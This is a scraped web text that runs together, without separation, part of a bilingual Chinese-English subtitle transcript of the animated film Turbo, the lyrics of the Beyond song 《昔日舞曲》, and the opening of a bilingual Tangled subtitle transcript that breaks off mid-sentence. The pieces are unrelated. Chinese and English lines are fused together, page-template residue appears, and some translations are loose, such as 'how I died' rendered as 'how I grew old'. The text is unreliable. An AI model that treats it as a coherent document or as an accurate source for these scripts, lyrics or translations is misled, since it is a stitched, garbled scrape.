out.把它关掉Turn it off!错打了远光灯抱歉Sorry. High beams. Sorry.咦还有这玩意儿That's a new one.没事的放心西奥你要挺住It's okay, it's okay, Theo. Just hang in there.等我们一到家就把你治好As soon as we get home, we're gonna get you fixed.什么我才不需要治疗What? I don't need to be fixed.我又没出什么问题切特There's nothing wrong with me, Chet.没什么问题你已经Nothing wrong with you? Well, you're变成个怪物了You're a freak of nature.我知道那不是很棒吗I know, I know! Isn't it great?西奥Theo!不瞒你说我更喜欢特搏这个名字You know what? I prefer "Turbo."意为涡轮增压机不管你是从哪个实验室逃出来的I don't know what crazy lab you escaped from你可帅呆了小伙伴酷毙了but you're amazing, Little Amigo. Amazing!提托Tito!稍等一下One second, please.看到那商标了吗写的什么Do you see that sign? What does it say?安杰洛Angelo写的是哥俩好卷饼It says, "Dos Bros Tacos."哥俩好提托不是老光棍卷饼"Dos" Bros, Tito. Not "Uno" Bro.你应该在门口兜售卷饼You're supposed to be out there, selling tacos,而不是搞什么蜗牛赛跑not racing snails.我知道但是这小家伙有点特别I know, but this little guy is something special.我告诉你安杰洛I'm telling you, Angelo,客人们会把这里挤得水泄不通the customers are gonna be lining up around the block.我已经预见了I can see it already.蜗牛赛跑趣味多美味卷饼不可少"Come for the snail racing, stay for the chimichangas." 你快点给我醒醒Get your head out of the clouds,提托痴人说梦到此为止Tito. It's enough with your crazy schemes.不要你是个卷饼天才安杰洛No! You're a taco genius, Angelo.而我的使命就是让你的卷饼举世闻名And it is my mission in life to share your gift with the world.没错你要做的第一件事Great. Then first thing in the morning,就是爬进卡车给我卖卷饼get in that truck and go sell some tacos.提托Tito.你确定吃饱了吗累了没You sure you had enough to eat? Are you tired?看这我给你铺好了床Here, I made up your bed.今晚可能有点凉Now, it might get a little chilly tonight.我给你暖了暖被褥So, I warmed up your blanket.好了舒服又温馨There you go. All comfy and cozy.祝你好梦小家伙明天早上见Sweet dreams, Little Amigo. I'll see you in the morning.他刚才是亲亲晚安了吗Did he really just kiss you goodnight?没错嫉妒吗He did. Jealous?问一下你怎么得到超速度的Question. What gives with the super-speed?喂你是机器人吗Hey, hey, you a robot?你有放射性吗老兄Are you radioactive, homie?会传染吗Is it contagious?离这孩子远点Give the kid some space.我是鞭索这是我的团队I'm Whiplash. And this here is my crew.我是滑痕I'm Skidmark!真爽Ah, yeah!我是烈火咝咝咝咝And I'm Burn. Sizzle, sizzle, uh-uh.我叫漂移是这里定基调的懂吗The name is Smoove Move. I set the tone around here, you dig?看好了就是现在Now check this. Right about now,我速度之快I'm moving so fast,让整个世界都陷入慢动作宝贝儿the whole world's going in slow motion, baby.下一秒隆重出场的是Here one second, gone the next.人称白色幻影的我They call me the White Shadow!因为太快你只能看到我的影子Because I'm so fast, all you see is my shadow.我不明白I don't get it.身形轻盈快如魅影I'm fast, like a shadow!但是你的影子明显和快没什么关系Yeah, but shadows, they're not inherently fast.白色幻影White Shadow.还是能看到你I can still see you.听着乡下蜗牛Listen, garden snail,很明显你有两把刷子you clearly got the skills to pay the bills.如果蜗牛也有刷子你的挺大If snails had to pay bills, that is.你有两把大刷子You would be able to pay them.没错刷子Yeah, bills.刷子挺好用孩子Paid in full, son.我来这是邀请你加入我的团队So, I'm here to invite you to join our crew.加入你的团队Join your crew?#p#分页标题#e#我的话很滑稽吗Did I say something humorous?不好意思只是你们大家你懂的I'm sorry. It's just that you guys are, you know,有点慢...吞吞的kind of slow-ish.过分一点都不给面子Really? To our faces?西奥你在干什么Theo, what are you doing?我当你放了个屁虽然我闻到了异味Now, I'm gonna pretend I didn't hear what I clearly just heard.闻到什么我什么都没闻到Heard what? I didn't hear anything.大家还是可以讲道理的是吧西奥Nothing out of order, did you, Theo?我是认真的I meant what I said.你最好别给我吹破牛皮Then you better put your money where your mouth is.蜗牛可吹不动牛的皮Snails don't have money.不然我们都会用刷子了是吧Otherwise, we'd be able to pay the bills. Remember?你打嘴仗还装什么有深度Your trash talk is needlessly complicated.是吗还是你的刷子烂到毛都掉光了Is it? Or is it that your unpaid bills are overdue?说够了吧看看你有什么能耐Enough talk. It's time for action.规则很简单第一个到达流星的It's simple. First one to the top of that shooting star星光广场就是赢家wins.就凭你们要上那里吗很好You guys? Way up there, huh? Awesome.不如我用本年历来帮你计时吧Let me get my calendar so I can time you.挺会说笑菜鸟You got jokes, rookie?尽管笑吧乡巴佬Laugh it up, garden snail.各就各位On your mark预备Get yourself set见识一下白色幻影的厉害Prepare to be White Shadowed!借个道Coming through!他们都疯了Those guys are crazy!他们真有意思Those guys are awesome.那个谁上来玩玩吧Hey, player! The party up here!我要怎么上去How do I get up there?再见Later!也借个道Coming through!谁才是慢吞吞的乡下蜗牛Who's "Slow-ish" Now, garden snail?改变就在今天Today, everything changes!史上最快蜗牛尽在哥俩好卷饼店提托你在做什么Tito, what are you doing?我在策划一个"卷新" Planning a "Taco-volution"!这是我想出来的妙点子It's a little concept that I came up with.当你把那两个词语组合When you combine the words"卷饼"和"创新" 我明白的"Taco" And "Revolution." I get it.但是那对卖卷饼有什么帮助吗But how is that supposed to help us sell tacos?耐心点老兄罗马不是一天建成的Patience, bro. Taco-volutions don't happen in a day. 下一站是洛城大河And next up on our tour is the L.A. River.它赫赫有名因为... Famous for its appearance...走走快走Get! Get out!对不起帕斯能递上来给我吗Sorry, Paz. Can you throw that up here?汽配店看我追上你看我追到你Coming to getcha! I'm coming to getcha!欢乐谷模型店再会Bye.你好Hey!欢乐谷模型店我是鲍比为您效劳Valley Hobby, this is Bobby, how can I help you?你拨错电话了没事No, you got the wrong number. Yeah, okay.看我不追上你That's what I'm talking about!想来个杰克逊五人组式美甲吗You want Jackson Five on your feet?每个脚趾都有One Jackson per toe.天王在故乡印第安纳州的家庭乐队好啊你随意发挥吧Sure, knock yourself out.完美无缺Can't get no better.好吧你的计划是什么Okay. So, what's your plan?和一群疯子蜗牛Stay here in this rundown strip mall?还有一个想用你推销墨西哥小吃的人With a bunch of lunatic snails,在这排破店铺子里混吃等死吗and a nutso taco man who is using you to sell Mexican food? 要是那样奶奶个熊把我弄死算了Because if that's your plan, then whoopty-skippy-do, sign me up!我耳朵根发痒你们是在谈论我吗My ears are burning. I hope you're not talking about me.你俩看起来关系不一般小家伙You two seem to have a special connection, Little Amigo, 这个看起来是小家伙朋友的蜗牛and Snail Who Seems To Be Friends With Little Amigo.她是你母亲吗Is this your mother?还是你姐姐Your sister?不用说了肯定是你女朋友Say no more. It's your girlfriend.她是个可人儿She's a cutie.女汉子Women.我得承认I have to admit,我真希望"卷新"现在就可以开始I was kind of hoping the taco-volution would've started by now.没道理啊It doesn't make sense.我的头脑加上你的速度With my brains and your speed,我们应该大有作为才对是吧we should be destined for greatness, right?我们得大张旗鼓一下小家伙We need to think big, Little Amigo.我是说广告脱口秀和展览会什么的I'm talking commercials, talk shows, county fairs.跳蚤市场不对Flea markets. No,是农贸市场错了是超市farmers' markets. No, supermarkets.总之是各种市就对了We'll cover all the markets.成人礼坚信礼毕业典礼Quinceanera, confirmations, graduations.印第500大奖赛The Indy 500.我想到了我们应该有自己的肥皂剧I got it. We can have our very own telenovela!印第500大奖赛什么才不What? No.就是这个切特This is it, Chet.我知道我们来这是有原因的I knew we ended up here for a reason.你能不能慢一点Will you just slow down for a second?慢开玩笑吗我的字典里没有慢Slow down? Are you kidding? I'm never going slow again!西奥停下Theo, stop.你要表达什么What are you trying to say?我要让他参加大奖赛I wanna enter him in the Indy 500.大奖赛你在胡说什么The Indy 500? What are you talking about?他在说什么What is he talking about?听着也许这听起来有点疯狂Now, look, I know it may sound a little crazy不不不提托这可不疯狂No, no, no, Tito, that doesn't sound crazy.哥俩好卷饼寿司那有点疯狂Dos Bros Tacos and Sushi. That was crazy.怎么会大家都爱寿司What? People love sushi.哥俩好卷饼亲猴乐园那也有点疯狂Dos Bros Tacos and Monkey Petting Zoo. That was crazy.#p#分页标题#e#孩子们很有爱大人们可太刻薄了The babies were cute. The adults were just so mean.卷饼超人和他的小弟油条人Taco Man and his sidekick, the Churro.那是真他娘的疯狂That was off-the-hook crazy!是疯狂到正点Crazy awesome.但这个计划提托But this, Tito?疯狂都只配给它提鞋This is in a category all by itself.安杰洛拜托了Angelo, please.我拜托你切特听我一句劝Come on, Chet. Just hear me out.西奥蜗牛不能参加汽车大奖赛Theo, a snail cannot race in a competition meant for cars. 规矩就是规矩There are rules.事实上我做了很多调查Actually, I've been doing a lot of research,没有规则禁止蜗牛参加比赛and there's nothing in the rules that says a snail can't enter the race.规则也没说海绵不可以参赛There's nothing that says this sponge can't enter the race either,但是那永远不可能发生but that doesn't mean it's ever gonna happen.几百万人都看这比赛Millions of people watch that race.我们会让小镇名扬天下的老兄This could put us on the map, bro.-有人可要忙工作了-拜托安杰洛- Trying to work, here. - Come on, Angelo.我们只需要两万美金的参赛费All we have to do is raise the $20,000 registration fee.什么What?-我在想只要卖了卡车-卖卡车- I figured, once we sell the truck - Sell the...你听听自己在说什么提托Are you even listening to yourself, Tito?你要把我们毕生积蓄花在一只蜗牛身上You want to invest our entire life savings in a snail!我告诉你这只蜗牛背负使命找到我们I'm telling you, this snail crawled into our lives for a reason.我觉得他就是我们的幸运星I think he could be our little shooting star.听到了吗切特那人相信我Did you hear that, Chet? This guy believes in me.那人和你一样都疯了That guy is as crazy as you are.你永远不会被允许参赛They'll never let you into that race.就算你能你连一圈都熬不过去And even if they did, you wouldn't survive one lap.可是安杰洛听我说Yeah, but Angelo, listen...-提托-西奥- Tito! - Theo!不是所有梦想都可以实现Not every dream is meant to come true.他说得没错Yeah, what he said.蜗牛参加印第500 真有你的 A snail in the Indy 500.下一步你又要做什么What will you think of next?别担心小家伙Don't worry, Little Amigo.我们总会筹到参赛费的We'll get that entrance fee somehow.有人觉得两万美金是一大笔钱Now, I know some people may say $20,000 sounds like a lot of money.那就是一大笔钱It is a lot of money.也有人说我肯定疯了And I know some people may say I'm crazy.但是But I say,当一只蜗牛以300公里的时速when a snail crawls into your life闯进你的生活at 200 miles an hour,要是不抓住这千载难逢的机会then you'd have to be crazy not to grab onto that shell,那才是真疯了and take a ride of a lifetime.如果你还没有被说服Now, in case you're still not convinced看看我精心设计的热血海报吧Boom! Check out my well-designed endorsement poster.你想说什么提托What's your point, Tito?我想说我们有机会将生活变得更美好My point is, we got a chance to change our lives for the better.把星光广场变得和梦想中一样美好To make Starlight Plaza the great place we all know it could be.那么现在Now, come on.准备好要赞助下一届大奖赛冠军了吗Who's ready to sponsor the next Indy 500 champion?抱歉提托我还有活儿要干Sorry, Tito, but I've got work to do.不你很闲你们都闲爆了No, you don't. None of you do.我真不明白那海报多牛逼啊I don't get it. That poster was awesome.干得不错你尽力了该回家了西奥Well, good try, you did your best. Time to go home, Theo.我们一定要去印第安纳波利斯切特We're going to Indianapolis, Chet.你就张着那小胖脸看好吧Don't you worry your chubby little face about that.准备好队员们All right, team.蜗动起来Snail up!下一站是洛城大河And next up on our tour is the L.A. River.旅游观光它因为经常在电影中出现而闻名Famous for its appearance in such movies as...白色幻影来也You've just been White Shadowed!。
BEYOND《昔日舞曲》歌词(专辑:永远等待)
昔日舞曲
初升的曙光仍留恋都市周末夜黑色的快车朦胧中驶过
像幻觉欢笑声哼出那
曾是过往昔日的舞曲
身边的暖酒无言解开了我寂寞依稀的记憶重燃点起我
像幻觉欢笑声哼出那
曾是过往昔日的舞曲
热烈地共舞于街中
再去作已失的放纵
到处有我的往日梦
浪漫在热舞中
沧桑的背影残留这黑发已渐白唏嘘中叹息从前的一切
像幻觉欢笑声哼出那
曾是过往昔日的舞曲
热烈地共舞于街中
再去作已失的放纵到处有我的往日梦浪漫在热舞中热烈地共舞于街中再去作已失的放纵到处有我的往日梦浪漫在热舞中热烈地共舞于街中再去作已失的放纵到处有我的往日梦浪漫在热舞中热烈地共舞于街中再去作已失的放纵到处有我的往日梦浪漫在热舞中
AH AH AH AH
AH AH AH AH
AH AH AH AH
AH AH AH AH。
魔发奇缘(中英文台词对照)
-=THE LAST FANTASY=- 荣誉出品本字幕仅供学习交流,严禁用于商业途径-=TLF字幕组=- 翻译:kelvinlang 校对:maylcunaFLYNN: This is the story of how I died. 这是一个关于我如何老去的故事But don't worry, this is a fun story, and the truth is, it isn't even mine.但是别担心,这个故事很好玩事实上,也算不上是我的故事This is the story of a girl named Rapunzel.这是关于一个叫长发公主的女孩的故事And it starts with the sun.我们先从太阳说起Once upon a time, a single drop of sunlight fell from the heavens.很久以前,一抹阳光从天空坠落And from this small drop of sun grew a magic golden flower.在它落下的地方,长出了一朵金色的魔花It had the ability to heal the sick and injured.它能治愈疾病和伤痛Oh, you see that old woman over there? You might want to remember her.看到那边的老婆婆了吗?一定要记住她She's kind of important.她是这里的关键人物Centuries passed几个世纪之后and a hop, skip and a boat ride away there grew a kingdom.周围逐渐形成了一个王国The kingdom was ruled by a beloved king and queen.这个国家的国王和王后深受人民爱戴And the queen was about to have a baby.王后怀孕了But she got sick.但是却得了重病Really sick.非常严重She was running out of time,她时日无多and that's when people start to look for a miracle.这时候人们开始寻找奇迹Or in this case, a magic golden flower. 在这个故事里,就是魔花Ah! I told you she'd be important.对吧!我跟你提过她很重要的Instead of sharing the sun's gift,并不是所有人都乐意分享上天的礼物this woman, Mother Gothel, hoarded its healing power这个女巫葛朵更喜欢独享它的魔力and used it to keep herself young for hundreds of years.她要让自己永葆青春And all she had to do was sing a special song.她要做的只是唱一首特别的歌(SINGING) Flower, gleam and glow魔花闪烁Let your power shine借汝之力Make the clock reverse闪回时间Bring back what once was mine还我容颜What once was mine再次无瑕FLYNN: You get the gist. She sings to it, she turns young. Creepy, right?你看到了,她对着花唱歌然后就变年轻了,很诡异,对吧?(VOICES APPROACHING)We found it!找到了!FLYNN: The magic of the golden flower healed the queen.金色魔花治愈了王后A healthy baby girl, a princess was born, with beautiful golden hair.公主平安落地,她有着完美的金发(BAB Y COOING HAPPILY) (CHUCKLING)(COOING)(LAUGHING SOFTLY)FLYNN: I'll give you a hint, that's Rapunzel.给各位看官一个小提示这就是之后的长发公主(GIGGLES) To celebrate her birth,为给公主庆生the king and queen launched a flying lantern into the sky.国王和王后向天空放了一盏孔明灯(PEOPLE CHEERING)And for that one moment, everything was perfect.至现在为止,一切都还安然无事And then that moment ended.好时光总是很短(SINGING) Flower, gleam and glow魔花闪烁Let your power shine借汝之力Make the clock...闪回时…(GASPS)(RAPUNZEL CRYING)FLYNN: Gothel broke into the castle, stole the child,葛朵闯入城堡,抢走了孩子and just like that, gone!就像这样,逃走了!The kingdom searched and searched, but they could not find the princess. 整个王国上下都在寻找公主,却一直无果For deep within the forest, in a hidden tower,因为在隐藏森林深处的一座高塔中Gothel raised the child as her own.葛朵独自将孩子抚养长大了RAPUNZEL: (SINGING) Save what has been lost闪回时间Bring back what once was mine还我容颜What once was mine再次无瑕FLYNN: Gothel had found her new magic flower,葛朵找到了一朵新的魔“花”but this time, she was determined to keep it hidden.这次,她决心要将她藏好Why can't I go outside?为什么我不能出去呢?The outside world is a dangerous place, 外面的世界很危险filled with horrible, selfish people.到处都是可怕自私的人们You must stay here, where you're safe. 你得留在这里,只有这里是安全的Do you understand, flower?明白了吗,小花儿?Yes, Mommy.知道了,妈妈FLYNN: But the walls of that tower could not hide everything.但高塔之墙无法阻挡住一切Each year, on her birthday,每年在她生日的时候the king and queen released thousands of lanterns into the sky 国王和王后都会放飞数千盏孔明灯in hope that one day their lost princess would return.希望有一天能够明珠复还(WHIMPERS)Ha!哈!Hmm.嗯Well, I guess Pascal's not hiding out here.看来帕斯卡没躲这里(SNIGGERING)- Gotcha! - (SCREAMS)抓到你了!(PANTS)That's 22 for me. How about 23 out of 45?我已经22胜了哦,要不咱们改成45战23胜吧?Okay. Well, what do you want to do?好吧,那你准备怎么办?(SQUEAKS)Yeah. I don't think so. I like it in here, and so do you.不,我觉得不行,我喜欢在这儿,你也是Oh, come on, Pascal. It's not so bad in there.拜托,帕斯卡,这里也没那么差了(SINGING) Seven a.m., the usual morning lineup清晨七点,惯例整装行动Start on the chores And sweep till the floor's all clean做家务,先扫地Polish and wax, do laundry and mop and shine up拖地,打蜡,洗衣服,统统擦干净Sweep again and by then it's, like, 7: 15 再来一次,等到7:15And so I'll read a book Or maybe two or three我会去看本书或者两三本I'll add a few new paintings to my gallery 画幅新作品,放在我的画廊I'll play guitar and knit and cook and basically我会弹吉他,做女红,烧饭,还有最重要的Just wonder when will my life begin?幻想我的新生活新生活Then after lunch it's puzzles and darts and baking午饭过后是拼图时间,我还射飞镖,烤东西Papier-màché, a bit of ballet and chess 做做手工,跳跳芭蕾,来盘象棋Pottery and ventriloquy, candle-making 制陶器,玩腹语,做蜡烛Then I'll stretch, maybe sketch Take a climb, sew a dress来个伸展运动,再来个素描爬个高,缝个裙子And I'll reread the books If I have time to spare再温习读过的书,如果还有时间I'll paint the walls some more I'm sure there's room somewhere我就再画些壁画一定还有空地方可以放得下And then I'll brush and brush and brush and brush my hair然后我梳梳梳头发Stuck in the same place I've always been 每天在同一个地方And I'll keep wondering and wondering and wondering and wondering开始想啊想啊想When will my life begin?我的未来何时才能开始?Tomorrow night明晚the lights will appear孔明灯又将照亮夜空Just like they do就像以前的on my birthday each year每个生日一样What is it like当它们齐聚夜空out there where they glow外面会是什么样子Now that I'm older现在的我已经长大Mother might just let me go妈妈也许会让我出去Wow! I could get used to a view like this. 哇!这里太美了Rider, come on!瑞德,快点儿!Hold on. Yep. I'm used to it. Guys, I want a castle.等等,没错,我爱死这里了哥们儿,我想要座城堡We do this job, you can buy your own castle.做完这票,你可以自己买一座(SNEEZES)- Hay fever? - Yeah.- 花粉过敏?- 嗯Huh?啥?Wait! Hey, wait!等等!嘿,站住!Can't you picture me in a castle of my own? Because I certainly can.你能想象我未来的城堡吗?我可以All the things we've seen, and it's only 8:00 in the morning!这么美的景色,一切才刚开始呢!Gentlemen, this is a very big day!先生们,今天是个大日子!(SIGHS) This is it! This is a very big day, Pascal.是啊!今天是个大日子,帕斯卡(CHUCKLES) I'm finally going to do it. I'm going to ask her.我今天一定要求她让我出去- GOTHEL: Rapunzel! - (GASPS)长发公主Let down your hair!把你的头发放下来吧!It's time!就是现在!I know, I know. Come on. Don't let her see you.来了,来了,快躲起来,别让她瞧见Rapunzel! I'm not getting any younger down here!宝贝!我都要等老了!Coming, Mother!来了,妈妈!(GRUNTING)(PANTING) Hi. Welcome home, Mother. 欢迎回来,妈妈(EX CLAIMS) Rapunzel, how you manage to do that姑娘,你是怎样日复一日地every single day without fail.都坚持下来的呢?It looks absolutely exhausting, darling. 你看上去太累了,宝贝Oh, (CHUCKLES) it's nothing.哈,这没什么的Then I don't know why it takes so long. 那我不明白了,怎么让我等那么久(LAUGHS) Oh, darling, I'm just teasing. 喔,亲爱的,我开玩笑的(CHUCKLES)All right.好吧So, Mother, as you know tomorrow is a very big day...妈妈,你知道明天很重要…Rapunzel, look in that mirror.宝贝,快看看镜子You know what I see?看到什么了吗?I see a strong, confident, beautiful young lady.我看见一个强大自信,又漂亮的年轻姑娘Oh, look, you're here, too. (LAUGHS) 哎,看,原来你也在镜子里面I'm just teasing. Stop taking everything so seriously.开玩笑而已,别这么严肃嘛Okay. So, Mother, as I was saying, tomorrow is...妈妈,我刚才说到哪儿了,明天是…Rapunzel, Mother's feeling a littlerun-down.乖女儿,妈妈今天有点累Would you sing for me, dear? Then we'll talk.给我唱唱歌吧,亲爱的?我们之后再聊Oh! Of course, Mother.好嘞,妈妈(QUICKLY) Flower, gleam and glow Let your power shine魔花闪烁,借汝之力Make the clock reverse Bring back what once was mine闪回时间,还我容颜Heal what has been hurt Change the Fates' design抚平伤口,改变命运Save what has been lost Bring back what once was mine寻回逝去,换回新生- Rapunzel! - So, Mother,- 怎么唱这么快!- 唱完了,妈earlier I was saying tomorrow is a big day, and you didn't respond.刚才我说明天很重要,但你没反应So, I'm just going to tell you, it's my birthday! (LAUGHS)明天是我生日啊!- Ta-da! - No, no, no. Can't be.- 噹噹!- 不对,不对,不可能I distinctly remember. Your birthday was last year.我很清楚记得,去年你过过生日了That's the funny thing about birthdays. They're kind of an annual thing.这才是生日啊,每年都有一次哦(SIGHS)Mother, I'm turning 18, and I wanted to ask...妈妈,我就要成年了,这次我想要…(SIGHS) What I really want for this birthday...我真正想要的生日礼物…Actually what I wanted for quite a few birthdays now...我都想了好多年了…Rapunzel, please, stop with the mumbling.宝贝儿,拜托,别老是嘟嘟囔囔的You know how I feel about the mumbling. Blah-blah-blah-blah.你知道我最烦这个的了,叽叽咕咕的It's very annoying! I'm just teasing. You're adorable.烦死了!我就是说着玩儿的,真是傻丫头I love you so much, darling.我非常爱你,亲爱的(PASCAL SQUEAKS)(EX CLAIMS) I want to see the floating lights.我想去看孔明灯(CHUCKLES) What?啥?I was hoping you would take me to see the floating lights.我想你带我去看孔明灯Oh! You mean the stars.哦!你说那些星星吗?That's the thing.就是那个I've charted stars, and they're always constant.我画了星象图,星星是一成不变的But these, they appear every year on my birthday, Mother.但这些,它们每年在我生日的时候出现,妈妈Only on my birthday.只在我生日那晚And I can't help but feel like they're meant for me.我老是觉得它们是为我特意准备的I need to see them, Mother.我要去看它们,妈妈And not just from my window, in person. 不是从窗户里,而是亲身去感受I have to know what they are.我想知道它们是什么You want to go outside? (SCOFFS) Why, Rapunzel...你想要出去?为什么,女儿…(SINGING) Look at you, as fragile as a flower看看你,就是温室里的一朵小花Still a little sapling, just a sprout才刚刚发芽呢You know why we stay up in this tower 你知道我们为何隐居高塔- I know, but... - That's right.- 我知道,但是…- 没错To keep you safe and sound, dear为了保护你,亲爱的Guess I always knew this day was coming我早就知道,这一天早晚会来Knew that soon you'd want to leave the nest迟早你会想一个人出去闯荡Soon but not yet就快了,但现在还不行Shh! Trust me, pet我们不谈了!相信我,亲爱的Mother knows best妈妈是最好的老师(HATCH THUDDING CLOSED)Mother knows best Listen to your mother妈妈是最好的老师,听妈妈的话(SCREAMS)It's a scary world out there外面的世界太可怕Mother knows best妈妈是最好的老师(GRUNTING)One way or another Something will go wrong一步走错,后悔莫及I swear我保证Ruffians, thugs, poison ivy, quicksand 恶棍,流氓,毒草,流沙Cannibals and snakes, the plague食人族,毒蛇,瘟疫- No! - Yes.- 不!- 没错Also large bugs Men with pointy teeth 大虫子,尖牙的吸血鬼And stop! No more, you'll just upset me 算了!不说了,你会让我难过Mother's right here Mother will protect you妈妈在这里,妈妈保护你Darling, here's what I suggest亲爱的,听妈妈的话Skip the drama Stay with Mama停止幻想,陪着妈妈Mother knows best妈妈是最好的老师(LAUGHS)Mother knows best Take it from your mumsy妈妈是最好的老师,妈妈保护你On your own, you won't survive靠自己,你将无法生存Sloppy, underdressed Immature, clumsy 拖沓的裙子,幼稚,笨拙Please, they'll eat you up alive那些人会生吞活剥了你Gullible, naive Positively grubby轻信,天真,娇小可人Ditsy and a bit... Well, hmm, vague笨拙…还有迷迷糊糊的Plus, I believe, getting kind of chubby 另外,我觉得还有点婴儿肥I'm just saying 'cause I wuv you这么说是因为我爱你Mother understands Mother's here to help you妈妈最懂你,妈妈在帮你All I have is one request我只有一个要求- Rapunzel? - Yes?- 宝贝在听吗?- 啊?Don't ever ask to leave this tower again. 不要再说离开这座塔了Yes, Mother.好的,妈妈Oh.I love you very much, dear.我太爱你了,亲爱的I love you more.我更爱你I love you most.我最爱你(SINGING) Don't forget it不要忘记我说的话You'll regret it否则你会抱憾终身Mother knows best妈妈是最好的老师Ta-ta! I'll see you in a bit, my flower!噹噹,我过一会儿再来看你,亲爱的I'll be here.我在这儿等你回来(PANTING)(GASPS)Oh, no.哦,天哪No, no, no, no, no. This is bad. This is very, very bad.天哪,天哪,天哪,麻烦了,这下麻烦大了This is really bad.这下捅大篓子了They just can't get my nose right.他们老是把我的鼻子画得这么难看Who cares?你现在还管这个?It's easy for you to say. You guys look amazing.站着说话不腰疼,你俩画得那么帅(HORSES NEIGHING) (PANTING)All right. Okay. Give me a boost and I'll pull you up.快,这样,托我上去,然后我拉你们Give us the satchel first.先把包给我们(EX CLAIMS)I just...什么?我就是…I can't believe that after all we've been through together, you don't trust me? 不敢相信我们一起患难,你们却还不相信我?Ouch.好吧(GRUNTING)Now help us up, pretty boy!现在拉我们上去,帅哥!Sorry, my hands are full.不好意思,我没手了What?什么?Rider!瑞德!(EX CLAIMS)Retrieve that satchel at any cost!我们一定要把那个包抢回来的!SOLDIERS: Yes, sir!是,长官!(NEIGHING)(GRUNTS)(GASPS)We got him now, Maximus.我们要抓住他了,马克西姆(GRUNTS)(URGES HORSE)(LAUGHS)(SNORTS)(GRUNTS) Come on, fleabag! Forward! 快,畜生!冲啊!No. No!不,不行!Stop it! Stop it! Give it to me! Give me that!不准动!停下!给我!还给我!Ha!哈!(CRACKING) (NEIGHING IN ALARM)- (SCREAMS) - (NEIGHS) (SPITS)(SNIFFING)(EX CLAIMS) (MAXIMUS NEIGHING) (SNORTS)(NICKERS) (GRUNTING) (PANTING)Alone at last.总算躲过一劫(CLANGING) (SQUEALS)Huh.(GASPS SOFTLY)- Huh? - (GASPS) (CLANGING) (GRUNTING) (PANTING) (GRUNTING)(EX CLAIMS)Hmm.(CHUCKLING CONTENTEDLY) (SQUEALS) (GRUNTING)Huh?Okay, okay, okay. I've got a person in my closet.好吧,好吧,好吧,我衣柜里藏了个人I've got a person in my closet.衣柜里面有个人(ENUNCIATING) I've got a person in my closet!我衣柜里面有个人!(CHUCKLES)Too weak to handle myself out there, huh, Mother?谁说我没法独立啊,妈妈?Well, tell that to my frying pan.跟我的平底锅念叨去吧(GROANS)Huh?呃?Hmm.Hmm.- GOTHEL: Rapunzel! - (GASPS) Oh!- 我回来啦!- 来啦!Let down your hair!把你头发放下来!One moment, Mother!马上,妈妈!I have a big surprise!我要给你个惊喜!Uh... I do, too!这么巧…我也有!Ooh, I bet my surprise is bigger!但是我的惊喜肯定更大哦!(SOFTLY) I seriously doubt it.真的吗?我可不信I brought back parsnips. I'm going to make hazelnut soup for dinner.我带了防风草,做你最喜欢的榛子汤Your favourite. Surprise!你最喜欢的,高兴吧!Well, Mother, there's something I want to tell you.好吧,妈妈,我要跟你说件事Oh, Rapunzel, you know I hate leaving you after a fight.又来了,乖女儿,我不想跟你吵架Especially when I've done absolutely nothing wrong.尤其在我没做错任何事的时候I've been thinking a lot about what you said earlier.我很仔细地考虑了你之前说的话I hope you're not still talking about the stars.你不会又想重提看星星的事吧"Floating lights," and, yes, I'm leading up to that.是“孔明灯”,没错,就是这个Because I really thought we dropped the issue, sweetheart.我以为这个问题已经不存在了,宝贝No, Mother, I'm just saying,不是,妈妈,我想说的是you think I'm not strong enough to handle myself out there.你觉得我太柔弱,不能独立Oh, I know you're not strong enough to handle yourself out there.呵呵,亲爱的,你确实是这样- But if you just... - We're done talking about this.- 但如果你…- 这事我们已经讨论过了- Trust me! I know what I'm... - Rapunzel. - 相信我!我知道自己…- 好了,乖女儿- Oh, come on! - Enough with the lights! - 噢,拜托!- 说够多了!You are not leaving this tower! Ever!你不准出塔!永远都不许!(GROANS) Great. Now I'm the bad guy. 你满意了,我现在是彻彻底底的大坏人了All I was going to say, Mother, is that... 其实我想说的是,妈妈…I know what I want for my birthday now. 我想好要什么生日礼物了And what is that?你想要什么?New paint.新颜料The paint made from the white shells you once brought me.你给我买的那种带白贝壳的That is a very long trip, Rapunzel. Almost three days' time.那太远了,将近要三天的路程啊I just thought it was a better idea than the stars.我只是觉得这个礼物比星星好点儿(SIGHS)You'll be all right on your own?你自己一个人没问题吧?I know I'm safe as long as I'm here.我在这里再安全不过了GOTHEL: I'll be back in three days' time. 那我三天之后回来I love you very much, dear.我非常爱你,亲爱的RAPUNZEL: I love you more.我更爱你GOTHEL: I love you most.我最爱你(BREATHES DEEPLY)Okay.好吧Huh.(SQUEAKING)(EX CLAIMS)Huh? What...啊?什么…(GRUNTING)FLYNN: Is this hair?难道这些是头发?Struggling... Struggling is pointless.挣扎…挣扎也是没有意义的Huh?啊?(RAPUNZEL CLAMBERING DOWN)I know why you're here, and I'm not afraid of you.我知道你什么来头,我不怕你What?啥?Who are you? And how did you find me? 你是谁?你怎么找到我的?(STAMMERING SOFTLY) (ENUNCIATING) Who are you, and how did you find me?你是谁,怎么找到我的?(CLEARS THROAT)I know not who you are, nor how I came to find you.我不知道你是谁,到这里也不是为了找你But may I just say...我只能说…Hi.嗨How you doing? The name's Flynn Rider. 你好吗?我叫福林·瑞德How's your day going? Huh?你最近怎么样?(GRUNTS IN CONFUSION)Who else knows my location, Flynn Rider?还有谁知道我在这儿,福林·瑞德?- All right, blondie. - Rapunzel.- 好了,金发美女- 我叫长发公主Gesundheit. Here's the deal.祝您身体健康,事情是这样的I was in a situation, gallivanting through the forest.我当时在林子里瞎逛I came across your tower and...无意间发现这个塔…Oh! Oh, no.然后,天哪,不会吧Where is my satchel?我的背包呢?I've hidden it. Somewhere you'll never find it.我藏起来了,你找不到的It's in that pot, isn't it?就在那个罐子里,对吧?(CLANGING)(GROANING)Huh?啊?(EX CLAIMS) Would you stop that?你能不能别这样?Now it's hidden where you'll never find it.这次我把背包藏在你绝对找不到的地方So, what do you want with my hair? To cut it?你想把我的头发怎么样?剪下来吗?- What? - Sell it?- 啥?- 卖钱吗?No! Listen, the only thing I want to do with your hair不是!听着,我唯一可能需要你头发的地方is to get out of it, literally.是想离开这里,就是字面上的意思You...你…Wait. You don't want my hair?等下,你不是想要我的头发?Why on earth would I want your hair? 我为什么要你的头发?Look, I was being chased, I saw a tower, I climbed it.听着,我被人追,看见这塔就爬上来了End of story.就这些(STAMMERING) You're telling the truth? 你说的是真的?Yes!没错!Hmm.(GROWLING)(GROWLING)(SQUEAKING)(WHISPERING) I know. I need someone to take me.我知道,也许正好可以跟他出塔- (SQUEAKING) - I think he's telling the truth, too.我也觉得他说的是实话He doesn't have 